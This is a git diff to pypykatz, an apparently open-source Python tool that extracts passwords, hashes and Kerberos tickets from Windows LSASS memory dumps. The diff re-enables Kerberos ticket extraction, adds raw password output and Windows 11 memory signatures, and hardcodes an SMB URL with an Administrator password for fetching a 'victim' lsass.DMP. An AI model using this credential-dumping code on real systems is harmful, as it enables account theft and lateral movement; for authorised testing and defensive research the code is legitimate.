+		self.generic = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KERB_HASHPASSWORD_5()
+		res.salt = await LSA_UNICODE_STRING.load(reader) #	// http://tools.ietf.org/html/rfc3962
+		res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader)
+		return res
 
 class PKERB_HASHPASSWORD_6(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KERB_HASHPASSWORD_6)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKERB_HASHPASSWORD_6()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KERB_HASHPASSWORD_6
+		return p
 		
 class KERB_HASHPASSWORD_6 :
-	def __init__(self, reader):
-		#print('KERB_HASHPASSWORD_6')
-		#input(hexdump(reader.peek(0x100), start = reader.tell()))
-		self.salt = LSA_UNICODE_STRING(reader)	#// http://tools.ietf.org/html/rfc3962
-		self.stringToKey = PVOID(reader) # // AES Iterations (dword ?)
-		self.generic = KERB_HASHPASSWORD_GENERIC(reader)
+	def __init__(self):
+		self.salt = None
+		self.stringToKey = None
+		self.generic = None
 
+	@staticmethod
+	async def load(reader):
+		res = KERB_HASHPASSWORD_6()
+		res.salt = await LSA_UNICODE_STRING.load(reader)	#// http://tools.ietf.org/html/rfc3962
+		res.stringToKey = await PVOID.load(reader) # // AES Iterations (dword ?)
+		res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader)
+		return res
 
 class PKERB_HASHPASSWORD_6_1607(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KERB_HASHPASSWORD_6_1607)		
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKERB_HASHPASSWORD_6_1607()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KERB_HASHPASSWORD_6_1607
+		return p
+
+
 class KERB_HASHPASSWORD_6_1607:
-	def __init__(self, reader):
-		self.salt = LSA_UNICODE_STRING(reader)  #	// http://tools.ietf.org/html/rfc3962(reader).value
-		self.stringToKey = PVOID(reader).value        # // AES Iterations (dword ?)(reader).value
-		self.unk0 = PVOID(reader).value
-		self.generic = KERB_HASHPASSWORD_GENERIC(reader)
+	def __init__(self):
+		self.salt = None
+		self.stringToKey = None
+		self.unk0 = None
+		self.generic = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KERB_HASHPASSWORD_6_1607()
+		res.salt = await LSA_UNICODE_STRING.load(reader)  #	// http://tools.ietf.org/html/rfc3962(reader).value
+		res.stringToKey = await PVOID.loadvalue(reader)        # // AES Iterations (dword ?)(reader).value
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader)
+		return res
 
 class PKIWI_KERBEROS_KEYS_LIST_5(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_KEYS_LIST_5()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_KEYS_LIST_5
+		return p
 
 class KIWI_KERBEROS_KEYS_LIST_5:
-	def __init__(self, reader):
-		self.unk0 = DWORD(reader).value		#// dword_1233EC8 dd 4
-		self.cbItem = DWORD(reader).value	#// debug048:01233ECC dd 5(reader).value
-		self.unk1 = PVOID(reader).value
-		self.unk2 = PVOID(reader).value
+	def __init__(self):
+		self.unk0 = None
+		self.cbItem = None
+		self.unk1 = None
+		self.unk2 = None
 		#//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value
-		self.KeyEntries_start = reader.tell()
+		self.KeyEntries_start = None
 		self.KeyEntries = []
 
-	def read(self, reader, keyentries_type):
-		reader.move(self.KeyEntries_start)
+	async def read(self, reader, keyentries_type):
+		await reader.move(self.KeyEntries_start)
 		for _ in range(self.cbItem):
-			self.KeyEntries.append(keyentries_type(reader))
+			ke = await keyentries_type.load(reader)
+			self.KeyEntries.append(ke)
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_KEYS_LIST_5()
+		res.unk0   = await DWORD.loadvalue(reader)		#// dword_1233EC8 dd 4
+		res.cbItem = await DWORD.loadvalue(reader)	#// debug048:01233ECC dd 5(reader).value
+		res.unk1   = await PVOID.loadvalue(reader)
+		res.unk2   = await PVOID.loadvalue(reader)
+		res.KeyEntries_start = reader.tell()
+		return res
+
 
 class PKIWI_KERBEROS_KEYS_LIST_6(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_KEYS_LIST_6()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_KEYS_LIST_6
+		return p
+
 class KIWI_KERBEROS_KEYS_LIST_6:
-	def __init__(self, reader):
-		#print('KIWI_KERBEROS_KEYS_LIST_6')
-		#print(hexdump(reader.peek(0x100), start = reader.tell()))
-		self.unk0 = DWORD(reader).value	#	// dword_1233EC8 dd 4(reader).value
-		self.cbItem = DWORD(reader).value #	// debug048:01233ECC dd 5(reader).value
-		self.unk1 = PVOID(reader).value
-		self.unk2 = PVOID(reader).value
-		self.unk3 = PVOID(reader).value
-		self.unk4 = PVOID(reader).value
-		self.KeyEntries_start = reader.tell()
+	def __init__(self):
+		self.unk0   = None	#	// dword_1233EC8 dd 4(reader).value
+		self.cbItem = None #	// debug048:01233ECC dd 5(reader).value
+		self.unk1   = None
+		self.unk2   = None
+		self.unk3   = None
+		self.unk4   = None
+		self.KeyEntries_start = None
 		self.KeyEntries = []
 		
-	def read(self, reader, keyentries_type):
-		reader.move(self.KeyEntries_start)
+	async def read(self, reader, keyentries_type):
+		await reader.move(self.KeyEntries_start)
 		for _ in range(self.cbItem):
-			self.KeyEntries.append(keyentries_type(reader))
+			ke = await keyentries_type.load(reader)
+			self.KeyEntries.append(ke)
 			#//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_KEYS_LIST_6()
+		res.unk0   = await DWORD.loadvalue(reader)	#	// dword_1233EC8 dd 4(reader).value
+		res.cbItem = await DWORD.loadvalue(reader) #	// debug048:01233ECC dd 5(reader).value
+		res.unk1   = await PVOID.loadvalue(reader)
+		res.unk2   = await PVOID.loadvalue(reader)
+		res.unk3   = await PVOID.loadvalue(reader)
+		res.unk4   = await PVOID.loadvalue(reader)
+		res.KeyEntries_start = reader.tell()
+		return res
 
 class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET)	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_ENUM_DATA_TICKET()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_ENUM_DATA_TICKET
+		return p
+
 class KIWI_KERBEROS_ENUM_DATA_TICKET:
-	def __init__(self, reader):
-		self.isTicketExport = BOOL(reader).value
-		self.isFullTicket = BOOL(reader).value
+	def __init__(self):
+		self.isTicketExport = None
+		self.isFullTicket = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_ENUM_DATA_TICKET()
+		res.isTicketExport = await BOOL.loadvalue(reader)
+		res.isFullTicket   = await BOOL.loadvalue(reader)
+		return res
 		
 class KIWI_KERBEROS_BUFFER:
-	def __init__(self, reader):
-		self.Length = ULONG(reader).value
-		reader.align()
-		self.Value = PVOID(reader)
+	def __init__(self):
+		self.Length = None
+		self.Value = None
 		
 		##not part of struct
 		self.Data = None
 		
-	def read(self, reader):
-		self.Data = self.Value.read_raw(reader, self.Length)
-		return self.Data
\ No newline at end of file
+	async def read(self, reader):
+		await reader.move(self.Value.value)
+		self.Data = await reader.read(self.Length)
+		return self.Data
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_BUFFER()
+		res.Length = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Value   = await PVOID.load(reader)
+		return res
\ No newline at end of file
diff --git a/pypykatz/alsadecryptor/packages/livessp/decryptor.py b/pypykatz/alsadecryptor/packages/livessp/decryptor.py
index 7e0272b..7dd4519 100644
--- a/pypykatz/alsadecryptor/packages/livessp/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/livessp/decryptor.py
@@ -13,6 +13,7 @@ class LiveSspCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -21,6 +22,7 @@ class LiveSspCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 	def to_json(self):
@@ -31,6 +33,7 @@ class LiveSspCredential:
 		t += '\tusername %s\n' % self.username
 		t += '\tdomainname %s\n' % self.domainname
 		t += '\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class LiveSspDecryptor(PackageDecryptor):
@@ -56,11 +59,11 @@ class LiveSspDecryptor(PackageDecryptor):
 		if suppCreds.credentials.Password.Length != 0:
 			enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader)
 			if c.username.endswith('$') is True:
-				c.password = self.decrypt_password(enc_data, bytes_expected=True)
+				c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 				if c.password is not None:
 					c.password = c.password.hex()
 			else:
-				c.password = self.decrypt_password(enc_data)
+				c.password, c.password_raw = self.decrypt_password(enc_data)
 		
 		self.credentials.append(c)
 	
diff --git a/pypykatz/alsadecryptor/packages/msv/decryptor.py b/pypykatz/alsadecryptor/packages/msv/decryptor.py
index a021c87..d3d418b 100644
--- a/pypykatz/alsadecryptor/packages/msv/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/msv/decryptor.py
@@ -14,6 +14,7 @@ from pypykatz.alsadecryptor.package_commons import PackageDecryptor
 
 class MsvCredential:
 	def __init__(self):
+		self.credtype = 'msv'
 		self.username = None
 		self.domainname = None
 		self.NThash = None
@@ -31,6 +32,7 @@ class MsvCredential:
 		t['LMHash'] = self.LMHash
 		t['SHAHash'] = self.SHAHash
 		t['DPAPI'] = self.DPAPI
+		t['isoProt'] = self.isoProt
 		return t
 		
 	def to_json(self):
@@ -52,6 +54,7 @@ class CredmanCredential:
 		self.luid = None
 		self.username = None
 		self.password = None
+		self.password_raw = b''
 		self.domainname = None
 
 	def to_dict(self):
@@ -60,6 +63,7 @@ class CredmanCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 		
@@ -72,6 +76,7 @@ class CredmanCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomain %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 		
@@ -333,11 +338,11 @@ class MsvDecryptor(PackageDecryptor):
 		if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
 			enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
 			if c.username.endswith('$') is True:
-				c.password = self.decrypt_password(enc_data, bytes_expected=True)
+				c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 				if c.password is not None:
 					c.password = c.password.hex()
 			else:
-				c.password = self.decrypt_password(enc_data)
+				c.password, c.password_raw = self.decrypt_password(enc_data)
 		
 		c.luid = self.current_logonsession.luid
 			
@@ -353,7 +358,7 @@ class MsvDecryptor(PackageDecryptor):
 		
 		self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
 		self.log('Decrypting credential structure')
-		dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
+		dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
 		self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
 			
 		struct_reader = AGenericReader(dec_data, self.sysinfo.architecture)
diff --git a/pypykatz/alsadecryptor/packages/msv/templates.py b/pypykatz/alsadecryptor/packages/msv/templates.py
index 1b71c41..b1cc8be 100644
--- a/pypykatz/alsadecryptor/packages/msv/templates.py
+++ b/pypykatz/alsadecryptor/packages/msv/templates.py
@@ -116,12 +116,17 @@ class MsvTemplate(PackageTemplate):
 				template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74'
 				template.first_entry_offset = 23
 				template.offset2 = -4
-				
-			else:
-				#1903
+			
+			elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
 				template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
 				template.first_entry_offset = 23
 				template.offset2 = -4
+				
+			else:
+				#win11
+				template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74'
+				template.first_entry_offset = 24
+				template.offset2 = -4
 		
 		elif sysinfo.architecture == KatzSystemArchitecture.X86:
 			if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
diff --git a/pypykatz/alsadecryptor/packages/ssp/decryptor.py b/pypykatz/alsadecryptor/packages/ssp/decryptor.py
index 847d0da..71c7098 100644
--- a/pypykatz/alsadecryptor/packages/ssp/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/ssp/decryptor.py
@@ -14,6 +14,7 @@ class SspCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -22,6 +23,7 @@ class SspCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 		
@@ -33,6 +35,7 @@ class SspCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomainname %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class SspDecryptor(PackageDecryptor):
@@ -54,13 +57,13 @@ class SspDecryptor(PackageDecryptor):
 		c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader)
 		if ssp_entry.credentials.Password.Length != 0:
 			if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
-				enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
-				c.password = self.decrypt_password(enc_data, bytes_expected=True)
+				enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader)
+				c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 				if c.password is not None:
 					c.password = c.password.hex()
 			else:
-				enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
-				c.password = self.decrypt_password(enc_data)
+				enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader)
+				c.password, c.password_raw = self.decrypt_password(enc_data)
 		
 		if c.username == '' and c.domainname == '' and c.password is None:
 			return
diff --git a/pypykatz/alsadecryptor/packages/tspkg/decryptor.py b/pypykatz/alsadecryptor/packages/tspkg/decryptor.py
index 042f256..a586700 100644
--- a/pypykatz/alsadecryptor/packages/tspkg/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/tspkg/decryptor.py
@@ -16,6 +16,7 @@ class TspkgCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -24,8 +25,10 @@ class TspkgCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
+
 	def to_json(self):
 		return json.dumps(self.to_dict())
 		
@@ -34,6 +37,7 @@ class TspkgCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomainname %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class TspkgDecryptor(PackageDecryptor):
@@ -83,10 +87,10 @@ class TspkgDecryptor(PackageDecryptor):
 				if primary_credential.credentials.Password.Length != 0:
 					enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader)
 					if c.username.endswith('$') is True:
-						c.password = self.decrypt_password(enc_data, bytes_expected=True)
+						c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 						if c.password is not None:
 							c.password = c.password.hex()
 					else:
-						c.password = self.decrypt_password(enc_data)					
+						c.password, c.password_raw = self.decrypt_password(enc_data)					
 				
 				self.credentials.append(c)
\ No newline at end of file
diff --git a/pypykatz/alsadecryptor/packages/wdigest/decryptor.py b/pypykatz/alsadecryptor/packages/wdigest/decryptor.py
index a8aeff8..4d7312e 100644
--- a/pypykatz/alsadecryptor/packages/wdigest/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/wdigest/decryptor.py
@@ -15,6 +15,7 @@ class WdigestCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -23,6 +24,7 @@ class WdigestCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 	def to_json(self):
@@ -33,6 +35,7 @@ class WdigestCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomainname %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class WdigestDecryptor(PackageDecryptor):
@@ -65,11 +68,11 @@ class WdigestDecryptor(PackageDecryptor):
 		wc.domainname = await DomainName.read_string(self.reader)
 		wc.encrypted_password = await Password.read_maxdata(self.reader)
 		if wc.username.endswith('$') is True:
-			wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
+			wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
 			if wc.password is not None:
 				wc.password = wc.password.hex()
 		else:
-			wc.password = self.decrypt_password(wc.encrypted_password)
+			wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password)
 
 		if wc.username == '' and wc.domainname == '' and wc.password is None:
 			return
diff --git a/pypykatz/alsadecryptor/packages/wdigest/templates.py b/pypykatz/alsadecryptor/packages/wdigest/templates.py
index d59559e..4a25007 100644
--- a/pypykatz/alsadecryptor/packages/wdigest/templates.py
+++ b/pypykatz/alsadecryptor/packages/wdigest/templates.py
@@ -6,7 +6,7 @@
 
 #import io
 #from minidump.win_datatypes import *
-from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
+from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
 from pypykatz.alsadecryptor.win_datatypes import LUID, ULONG, POINTER
 from pypykatz.alsadecryptor.package_commons import PackageTemplate
 
@@ -70,7 +70,7 @@ class WdigestTemplate(PackageTemplate):
 				template.primary_offset = 32
 				template.list_entry = PWdigestListEntry
 			
-			elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
+			elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
 				template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
 				template.first_entry_offset = -6
 				template.primary_offset = 32
diff --git a/pypykatz/apypykatz.py b/pypykatz/apypykatz.py
index 17b499f..a011dea 100644
--- a/pypykatz/apypykatz.py
+++ b/pypykatz/apypykatz.py
@@ -16,8 +16,7 @@ from pypykatz.alsadecryptor import CredmanTemplate, MsvTemplate, \
 	LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \
 	TspkgDecryptor, TspkgTemplate, \
 	DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\
-	CloudapDecryptor
-#KerberosTemplate, KerberosDecryptor, 
+	CloudapDecryptor, KerberosTemplate, KerberosDecryptor
 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
 from pypykatz import logger
 from pypykatz.commons.common import UniversalEncoder
@@ -76,11 +75,11 @@ class apypykatz:
 						x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
 						res += ':'.join(x) + '\r\n'
 				
-				for pkg, err in self.errors:
-					err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
-					err_str = base64.b64encode(err_str.encode()).decode()
-					x =  [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str]
-					res += ':'.join(x) + '\r\n'
+		for pkg, err in self.errors:
+			err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
+			err_str = base64.b64encode(err_str.encode()).decode()
+			x =  [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str]
+			res += ':'.join(x) + '\r\n'
 
 		return res
 
@@ -239,19 +238,19 @@ class apypykatz:
 			else:
 				self.orphaned_creds.append(cred)
 	
-	#async def get_kerberos(self, with_tickets = True):
-	#	dec_template = KerberosTemplate.get_template(self.sysinfo)
-	#	dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
-	#	await dec.start()
-	#	for cred in dec.credentials:
-	#		for ticket in cred.tickets:
-	#			for fn in ticket.kirbi_data:
-	#				self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native)
-	#		
-	#		if cred.luid in self.logon_sessions:
-	#			self.logon_sessions[cred.luid].kerberos_creds.append(cred)
-	#		else:
-	#			self.orphaned_creds.append(cred)
+	async def get_kerberos(self, with_tickets = True):
+		dec_template = KerberosTemplate.get_template(self.sysinfo)
+		dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
+		await dec.start()
+		for cred in dec.credentials:
+			for ticket in cred.tickets:
+				for fn in ticket.kirbi_data:
+					self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native)
+			
+			if cred.luid in self.logon_sessions:
+				self.logon_sessions[cred.luid].kerberos_creds.append(cred)
+			else:
+				self.orphaned_creds.append(cred)
 	
 	async def get_cloudap(self):
 		cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo)
@@ -281,11 +280,11 @@ class apypykatz:
 			except Exception as e:
 				self.errors.append(('wdigest', e))
 		
-		#if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages:
-		#	with_tickets = False
-		#	if 'ktickets' in packages or 'all' in packages:
-		#		with_tickets = True
-		#	await self.get_kerberos(with_tickets)
+		if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages:
+			with_tickets = False
+			if 'ktickets' in packages or 'all' in packages:
+				with_tickets = True
+			await self.get_kerberos(with_tickets)
 		
 		if 'tspkg' in packages or 'all' in packages:
 			try:
@@ -318,7 +317,7 @@ class apypykatz:
 				self.errors.append(('cloudap', e))
 
 async def amain():
-	from aiosmb.commons.connection.url import SMBConnectionURL
+	from aiosmb.commons.connection.factory import SMBConnectionFactory
 	from pypykatz.alsadecryptor.asbmfile import SMBFileReader
 
 	import sys
@@ -326,7 +325,7 @@ async def amain():
 	print(f)
 
 	url = 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP'
-	smburl = SMBConnectionURL(url)
+	smburl = SMBConnectionFactory.from_url(url)
 	connection = smburl.get_connection()
 	smbfile = smburl.get_file()
 
diff --git a/pypykatz/commons/common.py b/pypykatz/commons/common.py
index a82ed67..733d5bf 100644
--- a/pypykatz/commons/common.py
+++ b/pypykatz/commons/common.py
@@ -1,12 +1,8 @@
-#!/usr/bin/env python3
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#
 import traceback
 import enum
 import json
 import datetime
+
 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
 
 def geterr(err:Exception):
@@ -360,6 +356,10 @@ class WindowsBuild(enum.Enum):
 	WIN_10_1803 = 17134
 	WIN_10_1809 = 17763
 	WIN_10_1903 = 18362
+	WIN_10_1909 = 18363
+	WIN_10_2004 = 19041
+	WIN_10_20H2 = 19042
+	WIN_11_2022 = 20348
 	
 class WindowsMinBuild(enum.Enum):
 	WIN_XP = 2500
@@ -369,6 +369,7 @@ class WindowsMinBuild(enum.Enum):
 	WIN_8 = 8000
 	WIN_BLUE = 9400
 	WIN_10 = 9800
+	WIN_11 = 22000
 	
 	
 def hexdump( src, length=16, sep='.', start = 0):
@@ -381,6 +382,8 @@ def hexdump( src, length=16, sep='.', start = 0):
 	@note Full support for python2 and python3 !
 	'''
 	result = []
+	if src is None:
+		return ''
 
 	# Python3 support
 	try:
diff --git a/pypykatz/commons/kerberosticket.py b/pypykatz/commons/kerberosticket.py
index 4ef792c..b1156c5 100644
--- a/pypykatz/commons/kerberosticket.py
+++ b/pypykatz/commons/kerberosticket.py
@@ -163,6 +163,50 @@ class KerberosTicket:
 		kt.kirbi_data[kt.generate_filename()] = kirbi
 		
 		return kt
+
+	@staticmethod
+	async def aparse(kerberos_ticket, reader, sysinfo, type = None):
+		kt = KerberosTicket()
+		kt.type = type
+		x = await kerberos_ticket.ServiceName.read(reader)
+		kt.ServiceName_type = x.NameType
+		x = await kerberos_ticket.ServiceName.read(reader)
+		kt.ServiceName = await x.read(reader)
+		kt.DomainName = await kerberos_ticket.DomainName.read_string(reader)
+		x = await kerberos_ticket.TargetName.read(reader)
+		if x:
+			y = await kerberos_ticket.TargetName.read(reader)
+			kt.ETargetName = await y.read(reader)
+			y = await kerberos_ticket.TargetName.read(reader)
+			kt.ETargetName_type = y.NameType 
+		kt.TargetDomainName = await kerberos_ticket.TargetDomainName.read_string(reader) 
+		x = await kerberos_ticket.ClientName.read(reader)
+		kt.EClientName = await x.read(reader)
+		x = await kerberos_ticket.ClientName.read(reader)
+		kt.EClientName_type = x.NameType
+		kt.AltTargetDomainName = await kerberos_ticket.AltTargetDomainName.read_string(reader)
+		kt.Description = await kerberos_ticket.Description.read_string(reader)
+		
+		kt.StartTime = filetime_to_dt(kerberos_ticket.StartTime)
+		kt.EndTime = filetime_to_dt(kerberos_ticket.EndTime)
+		if kerberos_ticket.RenewUntil == 0:
+			kt.RenewUntil = datetime.datetime(1970, 1, 1, 0, 0, tzinfo=datetime.timezone.utc)
+		else:
+			kt.RenewUntil = filetime_to_dt(kerberos_ticket.RenewUntil)
+		
+		kt.KeyType = kerberos_ticket.KeyType
+		kt.Key = await kerberos_ticket.Key.read(reader)
+		kt.session_key = KerberosSessionKey.parse(kerberos_ticket.Key, sysinfo)
+		
+		kt.TicketFlags = kerberos_ticket.TicketFlags
+		kt.TicketEncType = kerberos_ticket.TicketEncType
+		kt.TicketKvno = kerberos_ticket.TicketKvno
+		kt.Ticket = await kerberos_ticket.Ticket.read(reader)
+		
+		kirbi = kt.to_asn1()
+		kt.kirbi_data[kt.generate_filename()] = kirbi
+		
+		return kt
 		
 	def generate_filename(self):
 		t = '%s' % ('_'.join([self.type.name, self.DomainName, '_'.join(self.EClientName), '_'.join(self.ServiceName), hashlib.sha1(self.Ticket).hexdigest()[:8]]))
diff --git a/pypykatz/commons/readers/local/common/kernel32.py b/pypykatz/commons/readers/local/common/kernel32.py
index 76a070e..7e9181a 100644
--- a/pypykatz/commons/readers/local/common/kernel32.py
+++ b/pypykatz/commons/readers/local/common/kernel32.py
@@ -31,6 +31,13 @@
 
 from .defines import *
 
+STILL_ACTIVE = 259
+
+WAIT_TIMEOUT        = 0x102
+WAIT_FAILED         = -1
+WAIT_OBJECT_0       = 0
+
+
 PAGE_NOACCESS		  = 0x01
 PAGE_READONLY		  = 0x02
 PAGE_READWRITE		 = 0x04
@@ -669,3 +676,42 @@ class PS_PROTECTION(Union):
     _fields_ = (('Level', UCHAR),
                 ('obj', UNION_PS_PROTECTION),
                 )
+
+
+# BOOL WINAPI GetExitCodeThread(
+#   __in   HANDLE hThread,
+#   __out  LPDWORD lpExitCode
+# );
+def GetExitCodeThread(hThread):
+    _GetExitCodeThread = windll.kernel32.GetExitCodeThread
+    _GetExitCodeThread.argtypes = [HANDLE, PDWORD]
+    _GetExitCodeThread.restype  = bool
+    _GetExitCodeThread.errcheck = RaiseIfZero
+
+    lpExitCode = DWORD(0)
+    _GetExitCodeThread(hThread, byref(lpExitCode))
+    return lpExitCode.value
+
+# DWORD WINAPI WaitForSingleObject(
+#   HANDLE hHandle,
+#   DWORD dwMilliseconds
+# );
+def WaitForSingleObject(hHandle, dwMilliseconds = INFINITE):
+    _WaitForSingleObject = windll.kernel32.WaitForSingleObject
+    _WaitForSingleObject.argtypes = [HANDLE, DWORD]
+    _WaitForSingleObject.restype  = DWORD
+
+    if not dwMilliseconds and dwMilliseconds != 0:
+        dwMilliseconds = INFINITE
+    if dwMilliseconds != INFINITE:
+        r = _WaitForSingleObject(hHandle, dwMilliseconds)
+        if r == WAIT_FAILED:
+            raise ctypes.WinError()
+    else:
+        while 1:
+            r = _WaitForSingleObject(hHandle, 100)
+            if r == WAIT_FAILED:
+                raise ctypes.WinError()
+            if r != WAIT_TIMEOUT:
+                break
+    return r
\ No newline at end of file
diff --git a/pypykatz/commons/readers/local/common/live_reader_ctypes.py b/pypykatz/commons/readers/local/common/live_reader_ctypes.py
index 669c5f3..b49e71b 100644
--- a/pypykatz/commons/readers/local/common/live_reader_ctypes.py
+++ b/pypykatz/commons/readers/local/common/live_reader_ctypes.py
